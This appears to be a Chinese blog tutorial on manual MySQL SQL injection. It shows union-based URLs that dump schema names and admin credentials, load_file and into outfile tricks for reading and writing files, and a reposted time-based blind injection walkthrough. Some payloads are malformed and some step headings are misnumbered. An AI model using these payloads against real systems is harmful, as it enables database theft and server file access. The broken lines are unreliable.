您當前的位置:首頁 > 舞蹈

mysql注入篇

作者:由 shiyan 發表于 舞蹈時間:2017-01-31

部落格這個東西真的很考驗耐心,每寫一篇筆記,都是在艱難的決定中施行的,畢竟誰都有懶惰的一面,就像這個,mysql注入篇,拖拖拖一直拖到現在才開始總結,因為這個實在是太多太雜了,細細的總結一篇太燒腦。

由於我沒有找見php的實戰本地原始碼,所以只好用一些漏洞平臺的原始碼來演示了,演示不了的,只能列程式碼,沒有實操圖。畢竟找不見原始碼,,沒法。。。

首先我們都知道mysql資料庫和Access資料庫的不同,不同在mysql是分多個數據庫名的。

mysql注入篇

mysql注入篇

就像像我上圖貼的這個格式一樣,原諒我是在是沒有本地原始碼,連資料庫的都沒有,所以,貼不開實際圖。

在mysql注入中,我們不細談mysql其他的技巧類,只講注入,說到這裡,這個資料庫可以分為兩個部分,一個是5。0以上,一個是5。0以下。因為在5。0以上的版本中,會存在一個類似虛擬的information_schema

這個資料庫,裡面彙總了該大資料庫下,所有的資料,也就是說是在其他資料庫A,資料庫B以內的資料,都可以在這裡找見,而5。0以下的,就只能和Access資料庫一樣靠猜解庫名,表名,列名。

現在來介紹幾個在滲透測試中常用的幾個函式和表庫名。

資料庫名:database()

資料庫版本: version()

資料庫使用者: user()

作業系統: @@version_compile_os

系統使用者名稱: system_user()

當前使用者名稱: current_user

連線資料庫的使用者名稱:session_user()

讀取資料庫路徑:@@datadir

MYSQL安裝路徑:@@basedir

load_file 轉成16進位制或者10進位制 MYSQL讀取本地檔案函式

into outfile 寫入函式

儲存所有表名資訊的表 :

information_schema。tables

表名 : table_name

資料庫名: table_schema

列名 : column_name

儲存所有列名資訊的表 :

information_schema。columns

好了下面就開始記錄我構造的語句了,這裡先說一點,我會總結的很細,但是我不會在這篇文章裡總結一些注入繞過的技巧,只會總結一些注入得庫,表,列的語句。mysql注入可分為很多中注入方法,從普通注入,報錯注入,再到盲注,還有一些奇葩的注入點語句,也就是這些。關於大家都知道的post注入,cookie注入,字串注入,搜尋注入,這些注入技巧,我會專門開一片文章記錄下,因為這些都是技巧性的。

我現在先記錄mysql5。0

以上的注入方法,5。0以下的就像我前面的說的一樣,沒有規律可循,全靠蒙,全靠猜,和Access資料庫一樣。首先我需要判斷是否可以注入,然後再判斷

欄位數,這兩個步驟和Access資料庫注入一樣,都是 and 1=1 , and 1=2 ,還有 order by

欄位數。剩下的注入庫名,表名,列名,資料才是重點。

http://127。0。0。1/mysql/sql。php?x=1

假如這是一個注入點,我們知道他的欄位數是3,那麼我們的語句就是 :

http://127。0。0。1/mysql/sql。php?x=1 union select 1,2,3

然後直接回車,檢視能否爆出數字,這裡和Access的不同是,這裡不需要在後面面加入表名,因為我們也不知道表名是啥,如果是5。0以下的,我們就只能像Access呢個的進行猜了。

假如爆出1,2 ,3 這三個欄位數,那我們就可以注入一些資訊了。

http://127。0。0。1/mysql/sql。php?x=1

union select database(),version(),user()

這三個函式,我們分別替代了1,2,3這三個位置,然後就可以得出資料庫名,資料庫版本,資料庫使用者,記住這是當前的資料庫的名字,和使用者。

假如我們得知:

當前資料庫名:sqlin

資料庫版本:5。5。40

當前資料庫使用者:root@localhost

當然我們也可以替換成其他的函式,比如 @datadir 來獲取資料庫路徑, @@version_compile_os 來獲取作業系統,對了說到作業系統,win對大小寫不銘感,但是Linux對大小很銘感,不能出錯的,這個要記住。

下面開始構造獲取當前資料庫下的表名:

http://127。0。0。1/mysql/sql。php?x=1 union select group_concat(table_name),2,3 from

information_schema。tables where table_schema=0x73716C696E20

這個語句的意思就是獲取當前資料庫下所有表名,0x73716C696E20

這個是hex編碼,大家可以用小葵轉換工具來轉換,就是把第一步收集到的當前資料庫名hex編碼一下。當然我們也可以一個一個的來注入出當前資料庫下所有表名,等等,讓我去找找我的筆記本,我翻翻我自己在本子上記錄的。額,找不見了,估計忘學校沒拿了,,我去網上找找貼一段。

http://127。0。0。1/mysql/sql。php?x=1 union select table_name,2,3, from information_schema。SCHEMATA limit 0,1

這個也是可以注入出當前資料庫的表名的,只不過是一個一個的輸出,你知道控制limit後面的數字就可以,比如 0,1 、1,2、2,3 就是這個格式的。

不過我還是喜歡全部爆出來,然後再一個一個去找可能存在賬密的表,所以我就只記錄全部爆出的。

假如我們選中了一個叫 admin 的這個表名,那麼就開始爆出該表名下的列名。

下面開始構造注入當前表名下的列名的語句:

http://127。0。0。1/mysql/sql。php?x=1 union select group_concat(column_name),2,3 from

information_schema。columns where table_name=0x61646D696E

這個就可以爆出所有該表名的下的列名,0x61646D696E 這個是我們剛才選中的 admin 這個表名的hex的轉碼。

這一步下去,我們就得到列名了,假如我們選中了 username ,password 這兩個列名,那麼我就開始爆資料了,這個就很簡單了,

http://127。0。0。1/mysql/sql。php?x=1

union select 1,username,password from admin

這個是不是就出來了,對了還有個方法,就利用一個字數點,就爆出以內全部的列名下的資訊。

http://127。0。0。1/mysql/sql。php?x=1

union select 1,group_concat(username,0x5c,password),3 from admin

這個就是利用一個點,出來全部的資料。

這個是最簡單的常規測試的,我在上面的函數里是不是還列出了一個load_file() 這個函式,這個是用來讀取路徑內的內容的,但是必須是絕對路徑,比如: D:\mysql\123,txt 它只能讀取這樣的絕對路徑的內容。

這是一個例子:

http://127。0。0。1/mysql/sql。php?x=1 union select load_file(‘D:/mysql/123,txt ’),2,3

這個就是一個讀取,root許可權和普通許可權可以有很大區別的,如果是root,你可以讀取全部的,如果不是root ,是普通,你只能讀取普通使用者才能讀的檔案。對了,root,,,前面還有一個函式,我得說說 into outfile 寫入函式 ,這個必須是root許可權才行的,而且你還得需要知道絕對路徑。

這是一個例子:

http://127。0。0。1/mysql/sql。php?x=1 union select ‘shiyan’,2,3 into outfile ‘D:/mysql/123,txt’

對了,不知道你們發現了沒有我在地址用了 / 這個,而沒有用 \ 這個,算個小謎題,我不細說了。

到這裡是不是就可以說完了?錯!我盲注語句,還有報錯語句還沒彙總了。。。現在開始彙總。

先構造盲注語句吧,盲注的核心就是靠 if 判斷來注入的,我去。。。我在本地的記事本上構造了半天,才想開一個問題,,,盲注不是幾個簡單的語句就能概括全的,就像上面寫的雖然總結了,但是也只是常用的mysql手工注入,還有很多的其他的等等的。。。算了,我直接貼一個吧,在烏雲上的文章,,一位大神總結的,但是也只是一小部分,還有其他的很多構造語句,他的文章對於理解盲注可以理解下,不過一般這類測試都是直接上sqlmap神器直接跑的,畢竟手工注入也只是因為靈活的特性才一直保留的,可以各種繞,各種測試,所以也是必須得會的。

我要開始貼這個大神總結mysql手工盲注了,(如果大神本人看到了,覺得侵權了,我可以私信我,我會刪的。)

——————————————————————————————————————————————————————-

mysql手工盲注

作者:

474082729@qq。com

mysql注入篇

mysql注入篇

盲注的核心是靠 if 判斷來注入

手工盲注之前先複習一下if 判斷等函式

version() 是檢視資料庫版本

database() 檢視資料庫名

user() 檢視當前使用者

length( xxxxx ) 函式是統計字串的長度

mysql注入篇

mysql注入篇

mid(str,1,3) 字串擷取

mysql注入篇

mysql注入篇

從位元組1開始截 截到3就結束

知乎專欄

ORD() 轉換成ascii碼

mysql注入篇

mysql注入篇

mysql注入篇

mysql注入篇

ascii碼對照表

ASCII碼對照表

IF 語法:

mysql注入篇

mysql注入篇

mysql注入篇

mysql注入篇

if (條件,True,False);

開始手工盲注

select * from admin where user = “admin” and sleep(2); 執行需要2秒

1.獲取資料庫名長度

database() 檢視資料庫名

mysql注入篇

mysql注入篇

## ( select length(database() ) )

查詢資料庫名長度

mysql注入篇

mysql注入篇

select * from admin where user = “admin” and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );

如果資料庫的長度等於2的話那麼就執行true 否則就執行False

最後變成了 sleep(0)

mysql注入篇

mysql注入篇

如果資料庫長度等於 7 的話 就執行true

最後變成了 sleep(5)

也就是select * from admin where user = “admin” and sleep(5)

最後得知資料庫長度是 7 那麼接下來就是獲取資料庫名了

2.獲取資料庫名

資料庫長度是 7

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),1,1) = ‘a’ ) , 5,0 ) );

執行執行False 說明 第一個位元組不是a

mysql注入篇

mysql注入篇

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),1,1) = ‘x’ ) , 5,0 ) );

執行執行true 執行了5秒 說明第一個位元組是x

然後慢慢注入到7……

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),1,1) = ‘x’) , 5,0 ) );

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),2,1) = ‘i’ ) , 5,0 ) );

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),3,1) = ‘n’) , 5,0 ) );

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),4,1) = ‘d’) , 5,0 ) );

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),5,1) = ‘o’) , 5,0 ) );

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),6,1) = ‘n’) , 5,0 ) );

select * from admin where user = ”admin“ and sleep( if( (select mid(database(),7,1) = ‘g’) , 5,0 ) );

第一個位元組是x

第二個位元組是i

第三個位元組是n

第四個位元組是d

第五個位元組是o

第六個位元組是n

第七個位元組是g

全都是執行 5秒 然後得知 資料庫是 xindong

當然了 這方法注入比較慢 比如有些資料庫是特殊符號呢?那怎麼辦?一個一個符號猜解嗎?

採用ORD函式進行ascii碼來判斷會快點

比如:

select * from admin where user = ”admin“ and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );

條件:大於200 執行false 說明 不大於

select * from admin where user = ”admin“ and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );

條件:大於100 執行true 說明大於

select * from admin where user = ”admin“ and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );

條件:大於120 執行false 說明不大於

select * from admin where user = ”admin“ and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );

條件:大於110 執行true 說明大於

說明資料庫第一個位元組的ascii碼大於110小於120

說明是110~120之間

select * from admin where user = ”admin“ and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );

等於 120 執行true 說明第一個位元組的ascii碼是120

mysql注入篇

mysql注入篇

最後解碼得出是 x

3.獲取表名長度

select * from admin where user = ‘admin’ and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema。TABLES where TABLE_SCHEMA=database() limit 0,1;

位元組等於 5 執行true

說明表名長度為5

4.獲取表名

獲取第1個位元組

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))=‘a’ ,5,0) ) from information_schema。TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是a

獲取第2個位元組

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))=‘d’ ,5,0) ) from information_schema。TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是d

獲取第3個位元組

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))=‘m’ ,5,0) ) from information_schema。TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是m

獲取第4個位元組

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))=‘i’ ,5,0) ) from information_schema。TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是i

獲取第5個位元組

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))=‘n’ ,5,0) ) from information_schema。TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是n

4.獲取表名

5.獲取表名的第一個欄位長度

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema。COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

請求時間5秒 說明第一個子段有4個位元組

5.獲取表名的第一個欄位長度

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= ‘u’,5,0)) from information_schema。COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= ‘s’,5,0)) from information_schema。COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= ‘e’,5,0)) from information_schema。COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= ‘r’,5,0)) from information_schema。COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

爆出第一個欄位是 user

然後第一個欄位判斷可能是使用者名稱 還少來個密碼欄位那麼就在 5。獲取表名的第一個欄位長度 把limit 1,1 獲取下一個欄位長度再進行獲取密碼欄位

表名是:admin 16進位制:61646d696e

6.獲取表名的第一個欄位名

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;

執行5秒 說明這個欄位的資料內容位元組長度是5

那麼就是獲取資料了

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (mid(user,1,1) = ‘a’ , 5,0) ) from admin limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (mid(user,2,1) = ‘d’ , 5,0) ) from admin limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (mid(user,3,1) = ‘m’ , 5,0) ) from admin limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (mid(user,4,1) = ‘i’ , 5,0) ) from admin limit 0,1;

select * from admin where user = ‘admin’ and 1=2 union select 1,sleep( if (mid(user,5,1) = ‘n’ , 5,0) ) from admin limit 0,1;

然後使用者名稱就是 admin 了

終於貼完了,,,,,這些基本上就可以瞭解到手工盲注的原理和構造了,當然如果還想繼續深入的話,可以去百度吧,,,去搜索吧。。。畢竟這些只是一些皮毛。

下面開始說其他的報錯注入了,,,這個我研究了好久,後來一過年,我又忘的差不多了。。。。好多種報錯方式注入,,這個我自己是真的只能找資料彙總到一塊了,我自己是手寫不開的,,都忘的差不多了。。。。

都是超連結,自己想深入的可以再去找找資料。

十種MySQL報錯注入

根據mysql報錯進行回顯注入的原理是什麼?

MySQL暴錯注入方法整理

Mysql報錯注入原理分析(count()、rand()、group by)

MySQL注入總結&MySQL暴錯注入方法整理

經典的MySQL Duplicate entry報錯注入

好了,這些就差不多了,都是我看過的,雖說還是不太精通,,,畢竟這個在ctf中才會出現的題。。。。。

6.獲取表名的第一個欄位名

7.獲取資料庫內容

標簽: select  admin  user  where  Sleep